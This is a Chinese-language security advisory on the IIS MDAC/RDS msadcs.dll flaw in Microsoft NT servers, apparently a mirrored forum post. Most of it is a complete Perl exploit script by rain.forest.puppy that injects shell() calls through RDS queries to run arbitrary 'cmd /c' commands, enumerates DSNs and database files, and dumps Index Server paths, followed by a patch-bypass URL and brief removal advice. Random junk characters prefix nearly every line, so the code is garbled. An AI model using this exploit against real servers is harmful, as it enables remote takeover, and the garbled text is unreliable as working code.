IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
4"$K66yk@ }-3|
v<d 涉及程序：
uzf@49m]m Microsoft NT server
g8 (zvG;Y |_&Tu#er3 描述：
e:9CD- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
= >
.EDL. a6K1-SR^6) 详细：
"=l<%em 如果你没有时间读详细内容的话，就删除:
P;%4I mq3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
7aH E:Dnwp 有关的安全问题就没有了。
liEb(<$a DlB"o. 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
hZ0p /Bdv
FA 1E`AdU 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
LOY+^ 关于利用ODBC远程漏洞的描述，请参看:
U#oe8( ?# R} nY8zE http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qX PT1%+)y zz ^2/l 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
"0pH@_8o{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp B_FfXFQm< f
=H,B Q 这里不再论述。
4:$?u}9[:[ ( [loWr}QR 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
%|(~k*s4 $y !k)" k /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
NB]T~_?]* 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^%X,Rml<e RX",Zt$q \~H; Wt 5 #将下面这段保存为txt文件，然后: "perl -x 文件名"
3VJoH4E!6 \0 %) eJ #!perl
q7}$F]UM" #
"hRw_ < # MSADC/RDS 'usage' (aka exploit) script
v kmTd4g #
.lMIJN&/ # by rain.forest.puppy
zh5{t0E}C #
. e2qa # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Hu$]V*rAG # beta test and find errors!
> S / Zd &*TwEN^h use Socket; use Getopt::Std;
du2q6" getopts("e:vd:h:XR", \%args);
iqecm]Z0 (5 @9j print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8+Lig w7Nb+ /,sg if (!defined $args{h} && !defined $args{R}) {
.Z=D| &! print qq~
WeG T} Usage: msadc.pl -h <host> { -d <delay> -X -v }
MRvtu E|g -h <host> = host you want to scan (ip or domain)
E .v~ <[g -d <seconds> = delay between calls, default 1 second
Qh%(yL! -X = dump Index Server path table, if available
}Sa2s&[< -v = verbose
#pJ^w>YNy -e = external dictionary file for step 5
J-g#zs 1nh2()QI[ Or a -R will resume a command session
HjTK/x'_'L /kL X
f_ ~; exit;}
n8"S;:Zm Ba/Z<1) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
H27J kZ& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zuOx@T ^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?' H);ou-p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/kGRN @ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
pyK|zvr-r if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ua(y! Im |xaJv:96% if (!defined $args{R}){ $ret = &has_msadc;
x w-x<7 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|Ia3b V W 4VE7%.z+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
pfW0)V1t . "cmd /c ";
1
O+4A[cr $in=<STDIN>; chomp $in;
o"@ y=n/ $command="cmd /c " . $in ;
d )|{iUcW }'{39vc . if (defined $args{R}) {&load; exit;}
}zV PdBRfm ADRjCk}I print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
nGA'\+zj L &try_btcustmr;
c@:L7# 8
v#0R print "\nStep 2: Trying to make our own DSN...";
q #B^yk|Y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>'eOzMBn b?h9G3J_a print "\nStep 3: Trying known DSNs...";
WSfla~-'F &known_dsn;
^=Rqa
\; >`DbT:/< print "\nStep 4: Trying known .mdbs...";
]X +3" &known_mdb;
5J1A|qII b7>^w<ki if (defined $args{e}){
E)| _7x<u print "\nStep 5: Trying dictionary of DSN names...";
<^VZ4$j &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HBYqqEO "HFS5B j' print "Sorry Charley...maybe next time?\n";
0 3L"W^gc exit;
-!( *W q{ :k ##############################################################################
S1^u/$*6 #=R) s0 j" sub sendraw { # ripped and modded from whisker
<Ft6d sleep($delay); # it's a DoS on the server! At least on mine...
@YmD 79 my ($pstr)=@_;
ann!" s_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
y'4H8M2? die("Socket problems\n");
Iw~3y{\ if(connect(S,pack "SnA4x8",2,80,$target)){
Y?hC/ 6$7 select(S); $|=1;
p2|c8n== print $pstr; my @in=<S>;
ABEC{3fWpu select(STDOUT); close(S);
z cItZP return @in;
W5?F?Dp!v } else { die("Can't connect...\n"); }}
z<rdxn,9 pm Xx2T#= ##############################################################################
HbF.doXK MrjET!`.jC sub make_header { # make the HTTP request
9z 5K -s my $msadc=<<EOT
$DW3H1iW POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
YMP:T?vMVh User-Agent: ACTIVEDATA
^a|$z$spf Host: $ip
/_E:sI9( Content-Length: $clen
$enh>!mU Connection: Keep-Alive
v'*Q[
(' vBsd.2t~ ADCClientVersion:01.06
>x)YdgJ* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
xI'<4lo7Z \/4i p U. --!ADM!ROX!YOUR!WORLD!
&|P@$O > Content-Type: application/x-varg
N]: "3?% Content-Length: $reqlen
v,r}q1.E} xEaRuH c EOT
i7 `dY {p7 ; $msadc=~s/\n/\r\n/g;
94%gg0azp return $msadc;}
j~V@0z. w.J[3 m/ ##############################################################################
(utm+*V, *w4jE T> sub make_req { # make the RDS request
,.tT9?
m my ($switch, $p1, $p2)=@_;
~c[} %Ir> my $req=""; my $t1, $t2, $query, $dsn;
_Jj/"? qie7iE`o if ($switch==1){ # this is the btcustmr.mdb query
AY:3o3M $query="Select * from Customers where City=" . make_shell();
8 f%@:}H $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
` 1DJw e2 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2;%DE<Z VE^NSk Oa& elsif ($switch==2){ # this is general make table query
_:0<]<x? $query="create table AZZ (B int, C varchar(10))";
}5bh,' $dsn="$p1";}
{rGq|Bj Vn? %w~0! elsif ($switch==3){ # this is general exploit table query
)eGGA6G $query="select * from AZZ where C=" . make_shell();
}GsZ)\!$4 $dsn="$p1";}
-h*Y d) r9@O `i elsif ($switch==4){ # attempt to hork file info from index server
dN;kYWRK $query="select path from scope()";
NUb^!E" $dsn="Provider=MSIDXS;";}
tx&>Eo B{a:cz>0< elsif ($switch==5){ # bad query
]4\^> $query="select";
:gY$/1SYD $dsn="$p1";}
C<fWDLwYqV ;_K+b, $t1= make_unicode($query);
%f\{ ] $t2= make_unicode($dsn);
Gm tMA| $req = "\x02\x00\x03\x00";
k);z}`7 $req.= "\x08\x00" . pack ("S1", length($t1));
8, YF>O& $req.= "\x00\x00" . $t1 ;
]R}#3(]1 $req.= "\x08\x00" . pack ("S1", length($t2));
Ri4_zb $req.= "\x00\x00" . $t2 ;
UT [7 J $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
m\7-/e2 a return $req;}
#h ;j2 WM: ~P$%cx ##############################################################################
2 8SlFu? rui}a=rs sub make_shell { # this makes the shell() statement
[e3|yE6 return "'|shell(\"$command\")|'";}
-'JTVfm. '*!R
gbj; ##############################################################################
*jGB/ y [{N
i94:d sub make_unicode { # quick little function to convert to unicode
[Z,A quCU( my ($in)=@_; my $out;
r\vB-nJ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
K7<'4i~k return $out;}
jd l 1Q<Z =nFT0] ; ##############################################################################
mLk@&WxG H#k"[eZ sub rdo_success { # checks for RDO return success (this is kludge)
9 f-T> } my (@in) = @_; my $base=content_start(@in);
swG^L$r` if($in[$base]=~/multipart\/mixed/){
x `PIJE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
J[YA1 return 0;}
v6oPAqj ,r riZFcVsB ##############################################################################
G6JyAC9j Q'JE DH\ sub make_dsn { # this makes a DSN for us
/}2
bsiJT my @drives=("c","d","e","f");
0NfO|l7P print "\nMaking DSN: ";
)]J I Q"rR foreach $drive (@drives) {
5 h1!E print "$drive: ";
Y:^ =jV7 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!W^2?pqN "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
_4o2AS : j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2F! K
}aw $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
cAyR)Y!I return 0 if $2 eq "404"; # not found/doesn't exist
uByF*}d1 if($2 eq "200") {
&Xe r#6~ foreach $line (@results) {
f Otrn return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
| C'w] QYm } return 0;}
/2>-h-zBjw 7zr\AgV9 ##############################################################################
U`FybP2R~ y;0.P?Il" sub verify_exists {
'`"LX!"ZO my ($page)=@_;
-_uL;9r my @results=sendraw("GET $page HTTP/1.0\n\n");
2-llT return $results[0];}
Ms1G&NYP ifTVTd7O ##############################################################################
|rdG+ > &-<"HW sub try_btcustmr {
wuzz Wq my @drives=("c","d","e","f");
}K~JM1(26 my @dirs=("winnt","winnt35","winnt351","win","windows");
<B`}18x {tOuKnnS foreach $dir (@dirs) {
J }jK_ print "$dir -> "; # fun status so you can see progress
Vnh
+2XiK foreach $drive (@drives) {
3mWo`l print "$drive: "; # ditto
rctn0*MP $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_QvyFKAM $reqlenlen=length( "$reqlen" );
gK(E0p" $clen= 206 + $reqlenlen + $reqlen;
XYod>[.x l]WV?^* my @results=sendraw(make_header() . make_req(1,$drive,$dir));
a47Btd'm if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8o -?Y.2 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
]~WP ;o ?[RG8,B ##############################################################################
vR,HCI hp -< 8Mf sub odbc_error {
,z 1# |Y my (@in)=@_; my $base;
n/$Bd F H my $base = content_start(@in);
C^n L{ZP, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
v^@L?{" }8 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^l$(- #'y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y D.3FTNGC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|\ QR9> return $in[$base+4].$in[$base+5].$in[$base+6];}
O b8[P= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
3;>(W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m*i~Vjxj-m $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
R%#c~NOO ?b #?Vz ##############################################################################
{)b`fq ]2h[.q a sub verbose {
wW%I < M my ($in)=@_;
#H!~:Xu return if !$verbose;
3 0DpIkf print STDOUT "\n$in\n";}
<(f4#B P "VT5WFj ##############################################################################
_
<>+Dk& {q}: w{x9u sub save {
2CmeO&(Qf* my ($p1, $p2, $p3, $p4)=@_;
gKYn* open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]G1j\ wnF print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
8OBvC\% close OUT;}
U">OdoZ,E+ d\) v62P ##############################################################################
dH`a|SVW9 c U{LyZp sub load {
>p<( CVX[ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{;p /V\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
:+R5"my @p=<IN>; close(IN);
spl*[ d $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Xrz0ch $target= inet_aton($ip) || die("inet_aton problems");
qS2%U?S7 print "Resuming to $ip ...";
l w%fY{ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[;?^DAnK2 if($p[1]==1) {
r p @= $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
} K*ri $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
x _2]G' my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Q1jyetk~I if (rdo_success(@results)){print "Success!\n";}
]-}a{z else { print "failed\n"; verbose(odbc_error(@results));}}
md ZEL Ru elsif ($p[1]==3){
"q(&<+D@ if(run_query("$p[3]")){
<=zGaU, print "Success!\n";} else { print "failed\n"; }}
*,R e&N8 elsif ($p[1]==4){
`C h6"= t if(run_query($drvst . "$p[3]")){
:?p{ga9 print "Success!\n"; } else { print "failed\n"; }}
5G!X4%a exit;}
V`H#|8\i {$EXI]f ##############################################################################
I}q -J~s G`
8j ^H, sub create_table {
r]E$uq
b R my ($in)=@_;
c3}}cFe $reqlen=length( make_req(2,$in,"") ) - 28;
w1} [lq@ $reqlenlen=length( "$reqlen" );
)F~_KD)7jJ $clen= 206 + $reqlenlen + $reqlen;
|.S;z"v![ my @results=sendraw(make_header() . make_req(2,$in,""));
[%@zH return 1 if rdo_success(@results);
cr/|dc' my $temp= odbc_error(@results); verbose($temp);
$bo^UYZ6 return 1 if $temp=~/Table 'AZZ' already exists/;
^s?wnEo;j return 0;}
O[`Ob6Q{F >ciq4H43Q| ##############################################################################
[qXpi' q[ 7d<v\=J} sub known_dsn {
z=fag'fzM # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
1]<!Xuk^f my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
9F-k:hD | "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
W +e N%w5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
;+jp,( 7 {jVFlKP> foreach $dSn (@dsns) {
\8$`:3,@ print ".";
OM.^>= next if (!is_access("DSN=$dSn"));
M ? 3N if(create_table("DSN=$dSn")){
kzmt'/ L8 print "$dSn successful\n";
[yyV`& if(run_query("DSN=$dSn")){
wiGwN print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RasoOj$ print "Something's borked. Use verbose next time\n";}}} print "\n";}
U;nC)'~YW9 UQ8x #(`ak ##############################################################################
L,ra=SV F y8 N b 8m sub is_access {
iWCV(! my ($in)=@_;
Z-<u?f8{* $reqlen=length( make_req(5,$in,"") ) - 28;
joA+ $reqlenlen=length( "$reqlen" );
}o t _k- $clen= 206 + $reqlenlen + $reqlen;
O`u! P\ my @results=sendraw(make_header() . make_req(5,$in,""));
bPOx~ CMh my $temp= odbc_error(@results);
K+}Z6 _: verbose($temp); return 1 if ($temp=~/Microsoft Access/);
W"*R#:Q return 0;}
7X|r';"?i
{#%xq]r_ ##############################################################################
Cb6MD S3_4i;K\ sub run_query {
y(dS1.5F my ($in)=@_;
Z~ uKT n $reqlen=length( make_req(3,$in,"") ) - 28;
br;G5^j3? $reqlenlen=length( "$reqlen" );
]M2<I#hF. $clen= 206 + $reqlenlen + $reqlen;
./
:86@O my @results=sendraw(make_header() . make_req(3,$in,""));
KRtu@;? return 1 if rdo_success(@results);
93J)9T my $temp= odbc_error(@results); verbose($temp);
}*'ha=`J return 0;}
4yA`);r62 6+5Catsn ##############################################################################
V!P3CNK V9 VP"kD
sub known_mdb {
AAW7@\q. my @drives=("c","d","e","f","g");
6:,^CI|@ t my @dirs=("winnt","winnt35","winnt351","win","windows");
2{CSH_"Z7 my $dir, $drive, $mdb;
64lEB>VNm my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
eTc`FXw` v2{O67j}
o # this is sparse, because I don't know of many
hkJZqUA my @sysmdbs=( "\\catroot\\icatalog.mdb",
vo$66A "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
/4?`F} 7) "\\system32\\certmdb.mdb",
]cr; PRyv "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
=#tQIhX` s 2v* my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
b8>9mKs "\\cfusion\\cfapps\\forums\\forums_.mdb",
ddP,_.0 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h7$!wf!I "\\cfusion\\cfapps\\security\\realm_.mdb",
@9h#o5y q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
!`_f\ "\\cfusion\\database\\cfexamples.mdb",
=dBr mMh "\\cfusion\\database\\cfsnippets.mdb",
:#}`uR,D/ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[S:)UvB "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
{*U :Wm< "\\cfusion\\brighttiger\\database\\cleam.mdb",
cnthtv+(~ "\\cfusion\\database\\smpolicy.mdb",
9ojhI=: "\\cfusion\\database\cypress.mdb",
gcxk 'd "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
d mz3O(]$ "\\website\\cgi-win\\dbsample.mdb",
YZ l%JX "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%?hLo 8 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
p ] &Q`oh ); #these are just
CK(ev*@\D, foreach $drive (@drives) {
? 6d4T foreach $dir (@dirs){
V+24- QWh foreach $mdb (@sysmdbs) {
QNXxpoS# print ".";
8~E)gV+v if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
P;%QA+%7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Hz8`)cv` if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
f'O vG@ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n *~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
Mj B[5:s "6yiQ\`J foreach $drive (@drives) {
Td*Oljj._U foreach $mdb (@mdbs) {
XL^N5 print ".";
3 \r@f_p if(create_table($drv . $drive . $dir . $mdb)){
<y!r~? print "\n" . $drive . $dir . $mdb . " successful\n";
UwkX [u if(run_query($drv . $drive . $dir . $mdb)){
V^I /nuy print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
q}$ =bR1+ } else { print "Something's borked. Use verbose next time\n"; }}}}
9D{).f0 }
f9UaAdJ( "5:f{GfO#v ##############################################################################
)V3(nZY h(Ed% sub hork_idx {
5iddB $ print "\nAttempting to dump Index Server tables...\n";
1:zu$|%7 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
g@i>R> $reqlen=length( make_req(4,"","") ) - 28;
4D$sFR|?t $reqlenlen=length( "$reqlen" );
*\KvcRMGUa $clen= 206 + $reqlenlen + $reqlen;
b',bi.FH my @results=sendraw2(make_header() . make_req(4,"",""));
b0Ov+ )7# if (rdo_success(@results)){
% D(prA_w my $max=@results; my $c; my %d;
;&6PL] /d for($c=19; $c<$max; $c++){
;-pvc<_c< $results[$c]=~s/\x00//g;
wp. e3l $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
9}cuAVI $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
/}`/i(k $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w"agn}CK $d{"$1$2"}="";}
h5rP]dbhXU foreach $c (keys %d){ print "$c\n"; }
Nu/Qa:H_{ } else {print "Index server doesn't seem to be installed.\n"; }}
m}[~A@qD :$i:8lz
##############################################################################
^>8]3@ Nh <n TmZ-; sub dsn_dict {
b+].Uc open(IN, "<$args{e}") || die("Can't open external dictionary\n");
n X\]i~ while(<IN>){
c48J!,jCd' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
0j!ke1C&C next if (!is_access("DSN=$dSn"));
k> & s( b if(create_table("DSN=$dSn")){
* \o$-6<
print "$dSn successful\n";
=j+oKGkoCa if(run_query("DSN=$dSn")){
x56
F print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w<~<(5mM5; print "Something's borked. Use verbose next time\n";}}}
(_qBsng: print "\n"; close(IN);}
6!%d-Z7) ccn`f]5w ##############################################################################
`)=A !x y 8#]7`o sub sendraw2 { # ripped and modded from whisker
$wYuH9( sleep($delay); # it's a DoS on the server! At least on mine...
YNC0Z'c9 my ($pstr)=@_;
rw8J:?0x socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sb|3|J6= die("Socket problems\n");
J4[x,(iq( if(connect(S,pack "SnA4x8",2,80,$target)){
qSoBj&6y print "Connected. Getting data";
ra% R:xX open(OUT,">raw.out"); my @in;
hGA!1a4 c select(S); $|=1; print $pstr;
-[= AlqL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
adO!Gs9f? close(OUT); select(STDOUT); close(S); return @in;
9U7Mu;4 } else { die("Can't connect...\n"); }}
1 x\V dT qXB03}] G ##############################################################################
-?aw^du ,dZ# ,< sub content_start { # this will take in the server headers
y4/ >Ol] my (@in)=@_; my $c;
+f\pk \Ith for ($c=1;$c<500;$c++) {
v $)@AE if($in[$c] =~/^\x0d\x0a/){
xMSNr Oc if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
jA-5X?!In else { return $c+1; }}}
Q"OV>kl k return -1;} # it should never get here actually
%>i@F =O2< >W'j9+Va ##############################################################################
/4yOs@ # H \ 3M sub funky {
_Aa[?2 O my (@in)=@_; my $error=odbc_error(@in);
Hfke if($error=~/ADO could not find the specified provider/){
>b'w'" print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Po> e kz_E exit;}
5)mVy?Z if($error=~/A Handler is required/){
P2On k l print "\nServer has custom handler filters (they most likely are patched)\n";
m`'=) x| exit;}
7Unz Ie if($error=~/specified Handler has denied Access/){
=: 4?>2) print "\nServer has custom handler filters (they most likely are patched)\n";
f7Zf} 1| exit;}}
9[kX/#~W* Fqo&3+J4 ##############################################################################
}S,-uggz 3 x![ 8 x sub has_msadc {
pr UH jS my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
sW?B7o? my $base=content_start(@results);
^1.7Juvb return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<^Nk.E return 0;}
' X}7 ]y +5-]iKh ########################
X($6IL6m A e6("Oid \BUq Dd! 解决方案：
66
N) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@HvScg*Y 2、移除web 目录: /msadc
